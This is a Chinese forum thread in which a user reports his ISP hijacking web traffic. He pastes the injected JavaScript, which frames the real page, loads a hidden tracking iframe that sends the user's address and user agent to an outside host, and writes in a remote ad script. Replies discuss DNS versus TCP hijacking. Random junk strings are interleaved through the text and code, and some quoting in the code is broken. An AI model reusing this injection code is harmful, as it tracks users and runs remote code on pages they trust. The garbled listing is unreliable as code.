上网奇遇记

hudba

/ H+ r, d- g, J# o* T* u! d* [
% y4 y6 T. D5 l  e上网易看新闻半天打不开，发现状态栏在现实访问一个奇怪的域名。心里一惊，难道电脑中毒了？赶紧查看源代码，发现后面加了一段js，真正的新闻内容给iframe了
, `  ^# h$ N& R
4 f$ o$ S$ I* E接下来就是去搜索这个域名，得到v2ex里面也有人遇到这个问题，原来是运营商搞的鬼{:soso_e131:}

https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8

http://www.v2ex.com/t/142197

( s7 j8 R2 Z' P$ `1 B: q6 C& T
! I: c* Y4 t3 f$ E3 Y顺便查下ip138：

9 q3 S+ V" P# `( W8 C: d  C2 ?. u这是那段js里面的代码，好象是个半成品还没写入广告数据：
7 x' N1 R3 _( B% P

1. function locationSearch() {
   
2.         var s = getMainJs();
   
3.         if (s == null) {
   
4.                 location.reload();
   % F8 u2 z, A: f- u6 U6 ^8 T  }8 `
5.         }
   
6.         return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);
   
7. }
   ) e5 ^/ [! |$ e: l, y9 T, s
8. 
   5 ?: H6 |2 V2 y8 h" V. d+ ?
9. function getParameter(name, paraStr) {
   ) R6 m; M* ~) u0 m* z9 F5 m
10.         var result = "";
    7 M/ B8 O. `  L, P9 w" M# a
11.         var str = "&" + paraStr.split("?")[1];
    : }1 m, i( D9 n$ x; `' A
12.         var paraName = "&" + name + "=";
    
13.         if (str.indexOf(paraName) != -1) {
    . `" ?  p. {* {* [3 x- v+ |
14.                 if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {
    
15.                         var TmpStr = str.substring(str.indexOf(paraName), str.length);
    " g6 F8 E! n; [7 N
16.                         result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(
    
17.                                         1, TmpStr.length).indexOf("&")
    - z4 N1 Z( b/ L- D1 N0 ?
18.                                         - TmpStr.indexOf(paraName) + 1);
    
19.                 } else {
    6 Y! H, n  Z% Q- G1 T( x0 U( `5 u
20.                         result = str.substring(str.indexOf(paraName), str.length);
    9 f6 t( f  x3 a  G+ r# s
21.                 }
    ! A" I6 W, K, }& _' `8 H' t
22. 
    
23.                 result = result.substring(result.indexOf("=") + 1, result.length);
    2 W4 Q* q  u6 _8 h1 l
24.         } else {
    * N( A/ p7 f) U* E' z3 E
25.                 result = "No such parameter";
    . G5 L3 v3 g9 n, t% m
26.         }
    % z* L7 Y5 ~2 w# m$ M
27.         return (result.replace("&", ""));
    7 W, J, u/ v3 |/ j
28. }
    ( k( s% N8 \6 [3 G
29. 
    8 s) F3 w/ X# I, H
30. function getMainJs() {
    - g1 u- ?! a' t! L7 Y1 d
31.         var scripts = document.getElementsByTagName("script");
    
32.         var s = null;
    + V; Q4 Y- M4 l/ x; A1 l$ H# p
33.         for (var i = 0; i < scripts.length; i++) {
    
34.                 if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {
    8 a& x2 o6 u' e- F3 G9 `& M/ j; a
35.                         s = scripts[i];
    . M$ z4 n7 Y" B) I; O; a
36.                         break;
    ! h5 ^5 m# q$ q$ h" B
37.                 }
    ! H& X$ v  B& z0 X
38.         }
    % v8 W8 c2 i0 A& {% Y% L
39.         return s;
    1 C+ U0 c1 I( ^$ ]( B) D6 Z
40. }
      d9 N5 ^" z" y# i& `2 l6 T- X
41. 
    ' _  U' a9 U) w/ ]
42. function appendParam(oStr, aStr) {
    1 V( }% t3 s9 v! E
43.         if (oStr.indexOf('?') > 0) {
    ! i! }; R3 v. V
44.                 oStr = oStr + "&" + aStr;
    
45.         } else {
    $ h/ P" ?4 Q9 ]% P+ V, N- }" E
46.                 oStr = oStr + "?" + aStr;
    
47.         }
    ( N: f, a, h8 T; E" r- G5 l
48.         return oStr;
    4 d  y9 ]6 z( n5 }( J
49. }
    ( ~4 V! r( S8 \; x; P4 e
50. 
    
51. window.onerror = function() {
    * P, o3 o! D! X7 B
52. };
    
53. 
    
54. var g_titleTime = 0;
    $ Y6 T: C& f9 G! S
55. function setTcTitle() {
    + W/ Z- H: |2 H- q
56.         if (undefined == document) {
    " ^8 [0 a* G" J* A+ g
57.                 g_titleTime++;
    
58.                 setTimeout("setTcTitle();", 1000);
    2 W. j; C2 W* [  y, k1 M; y
59.                 return;
    
60.         }
    
61. 
    
62.         var doc;
    * u7 J' O2 p4 o- w; W% F
63.         try {
    8 f( p: P! \! U( M& k  _0 g
64.                 if (document.all) {
    ; K4 ^4 X8 {, D% [2 Z) {: j  T
65.                         doc = document.frames["cn"].document;
      z1 t0 Y9 l0 w- ?: P* f
66.                 } else {
    ' k$ O8 G% s2 y# Z7 g9 p
67.                         doc = document.getElementById("cn").contentDocument;
    
68.                 }
    
69.         } catch (ex) {
    
70.         }
    5 L7 H6 h  @+ L2 a5 `
71. 
    
72.         if (g_titleTime < 5
    
73.                         && (undefined == doc || undefined == doc.title || "" == doc.title)) {
    + c$ u8 @" R6 [( S) F4 l2 {
74.                 g_titleTime++;
    : E0 h" T7 E% A
75.                 setTimeout("setTcTitle();", 1000);
    : M7 O4 k& O( G( M/ g" e+ U3 L9 d
76.                 return;
    
77.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
    % e2 R  L5 E# `3 n& X4 a
78.                 document.title = doc.title;
    # u7 i+ [5 b, O; Q- j+ F
79.                 setTcAdvVisible();
    ! l  A0 F/ i9 R8 X9 E! F
80.         }
    
81. }
    
82. 
    
83. setTimeout("setTcTitle();", 1000);
    
84. 
    
85. var g_isHaveVisible = false;
    
86. function setTcAdvVisible() {
    + o1 Y. t5 C% k0 Q% L
87.         if (undefined != document && undefined != document.getElementById("addiv")
      o6 {! [0 ?8 C9 V8 \. Y
88.                         && !g_isHaveVisible) {
    5 ]& |- a+ s3 A7 d1 J$ B# e7 A
89.                 document.getElementById("addiv").style.visibility = 'visible';
    , P( @4 b3 P) q3 i5 o4 g
90.                 document.getElementById("addiv").style.display = 'block';
    
91.                 g_isHaveVisible = true;
    
92.         }
    ! z5 i) d  i+ ]" M
93. }
    
94. 
    
95. function UrlAnalyzer() {
    ) q/ o# P1 ]4 A7 J& O$ q
96.         this.divda = "";
    
97.         this.tctype = "";
    
98.         this.radius = "";
    2 n" {5 m1 ]: b3 t' ~2 u& S  h5 g2 ~
99.         this.rlu = "";
    % c9 y, W, E0 i; z: Y% d
100. }
     / M' X$ v5 m) \2 m9 D/ M7 c
101. 
     
102. UrlAnalyzer.prototype.initParameters = function() {
     + v9 O: U% n1 W
103.         var paraStr = locationSearch();
     8 y* G# z  R1 ]( `( V  }
104.         this.rlu = getParameter("lruedct", paraStr);
     ' t0 }) z5 T. z8 ~" @) c0 T2 A
105.         this.divda = getParameter("divda", paraStr);
     5 T( R, d' [( V
106.         this.radius = getParameter("radius", paraStr);
     6 U4 W' b1 ~$ i
107.         this.tctype = getParameter("tctype", paraStr);
     
108.         this.address = getParameter("address", paraStr);
     " x# L+ ~% I! ^5 ~, w/ Y4 w
109.         this.usagent = getParameter("usagent", paraStr);
     
110. }
     
111. 
     ; `& C( u' t9 x1 C% t! v8 p
112. UrlAnalyzer.prototype.getHtmlDoc = function() {
     
113.         var doc;
     ) R' \4 W9 j) h
114.         try {
     * i+ i2 P& d9 x  Q4 x$ ~/ V
115.                 if (document.all) {
     " C, A, a+ Q7 x2 @  p0 b) J
116.                         doc = document.frames["cn"].document;
     
117. 
     
118.                 } else {
     6 e4 r% E* c6 ]" m  t  F. e6 N, D* Y
119.                         doc = document.getElementById("cn").contentDocument;
     + f' P  A! r. P7 x3 b" [5 v
120.                         // doc = document.getElementById("cn").contentWindow.document;
     
121.                 }
     
122.         } catch (ex) {
     " N; Q2 j/ O  ~/ @# ~9 ^( I2 E5 p
123.         }
     ! g! {- E# F4 [' V7 a0 {
124.         return doc;
     ' E. v/ D& U4 O7 {5 X8 b3 a$ T
125. }
     + t; O- x; r% {6 T4 ], G
126. 
     
127. UrlAnalyzer.prototype.setDomain = function() {
     
128.         if (undefined != document.title && "" == document.title)
     ' \- G9 n1 t) V0 y
129.         {
     
130.                 var index = document.domain.indexOf(".");
     
131.                 if (undefined != index && -1 != index) {
     
132.                         document.domain = document.domain.substring(index + 1,
     , K! w% W+ L+ o& E) a
133.                                         document.domain.length);
     , g3 \, A: [5 ^; v) G' ]
134.                 }
     $ u8 F4 \) |* U/ p; Z! v2 L: R  H4 |
135.                
     
136.                 var doc = this.getHtmlDoc();
     * `0 |) N4 t- g; Z% p
137.                 if (undefined != doc && undefined != doc.title && "" != doc.title) {
     5 {$ w* B8 @; G9 V( G
138.                         document.title = doc.title;
     
139.                         setTcAdvVisible();
     3 w) @* t/ P4 _1 P  g
140.                 }
     
141.         }
     + F3 J9 A. T$ d; d6 y
142. }
     " X- i; Q( k& B: v' X/ x2 ~
143. 
     9 {, @! `0 s/ M' L
144. UrlAnalyzer.prototype.iframeCallback = function() {
     
145.         var doc = this.getHtmlDoc();
     
146.         if (undefined == doc || undefined == doc.title || "" == doc.title) {
     
147.                 if (undefined != document.domain) {
     
148. 
     
149.                         var self = this;
     
150.                         setTimeout(function(){self.setDomain.call(self, null)}, 1000);
     . b# s! k9 J; [5 u% ?/ n. Y
151.                         // var index = document.domain.indexOf(".");
     ; y/ k5 Q- r/ w- u. Z
152.                         // if (undefined != index && -1 != index) {
       l1 `4 I" K0 K9 k$ [# u- B
153.                         // document.domain = document.domain.substring(index + 1,
     
154.                         // document.domain.length);
     
155.                         // }
     ' t1 `+ I/ O8 J# _
156.                         //
     
157.                         // var doc = this.getHtmlDoc();
       d1 A( R( g! k" b9 {' Y$ G
158.                         // if (undefined != doc && undefined != doc.title && "" !=
     ; B( |2 S  R8 e
159.                         // doc.title) {
     
160.                         // document.title = doc.title;
     
161.                         // setTcAdvVisible();
     
162.                         // }
     - T9 o7 \% T* e9 O0 v
163.                 }
     
164.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
     * K( O9 D6 D- J, ?. i8 O9 R4 h
165.                 document.title = doc.title;
     
166.                 setTcAdvVisible();
     
167.         }
     
168. }
     
169. 
     4 l3 r1 \: |7 Y: L9 u
170. UrlAnalyzer.prototype.executeHtmlContext = function() {
     
171.         var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda
     
172.                         + "&rd=" + this.radius + "&tctype=" + this.divda  + "&address=" + this.address  + "&usagent=" + this.usagent;
     
173. 
     3 S/ B/ y# f) b2 }
174.         var htmlStr = "<iframe src="" + staUrl
     
175.                         + "" style="display:none"></iframe>";
     
176. 
     ' o( U3 e$ r5 _: ^. a, t, u* |
177.         var advUrl = htmlStr
     
178.                         + "<script src="http://c2.sxite.com:8060/center?advId="
     
179.                         + this.divda + "&radius=" + this.radius  + "&area=1" + ""><\/script>";
     
180.         document.write(advUrl);
     
181. 
     8 J" _, S( e4 E" ?
182.         var self = this;
     / ?! ~! B' z; U& K! c
183.         var iframe = document.getElementById("cn");
     % b) [- V; _7 v( q: g' x, [$ O
184.         if (iframe.attachEvent) {
     , S* e9 d8 ~# l- x: ~9 b
185.                 iframe.attachEvent("onload", function() {
     
186.                         self.iframeCallback.call(self, null);
     
187.                 });
     
188.         } else {
     6 w) v! F6 N) }6 A& a  C* ?
189.                 iframe.onload = function() {
     # P$ p: |8 V0 X+ q5 M
190.                         self.iframeCallback.call(self, null);
     
191.                 }
     
192.         }
     " b) S" k/ H, ~
193. }
     
194. 
     & ~6 U; \; t8 x  G) [
195. UrlAnalyzer.prototype.executeMain = function() {
     6 E3 D! W# S+ L4 _' r, w: }
196.         var mainFrame = document.getElementById("cn");
     
197.         mainFrame.contentWindow.location.href = mainFrame.src;
     
198.         this.initParameters();
     
199.         this.executeHtmlContext();
     & C; y2 \1 T% F$ y, m
200. }
     
201. 
     3 o/ P) o' |- J6 m9 B8 o' \
202. var g_analyzer = new UrlAnalyzer();
     ; K6 r1 D! X5 Z6 g8 n! P- S
203. g_analyzer.executeMain();
       t6 B0 f! Q, @) ^0 w; O

复制代码

* S- w) e6 q3 x6 C

ads419

Welcome to China      

cissss

我在想有没有大牛会去干电信那个网页，那就发啦。哈哈

阿百川

所以从不使用运行商的dns，http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错

firearmer

法制不健全，没法。我这里也有电信绑架的问题，但你没辙，要国外，早赔的只剩内裤了。

老刘

电信DNS劫持不是一天两天了。国家垄断企业，没人能管”。。。

giveatry

我这段时间也遇到了，投诉了两次，这几天没出现了，再出现继续投诉

ads419

阿百川 发表于 2015-2-3 09:49
; e- C3 j. Z' a2 y所以从不使用运行商的dns，http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错 ...

+ E' p7 ~% X- D( @. S7 M5 a6 k# w9 }TCP劫持，换DNS也不管用的。

阿百川

ads419 发表于 2015-2-3 21:26
TCP劫持，换DNS也不管用的。

幸好联通还木有这么强的技术

哈默

在国内，习惯就好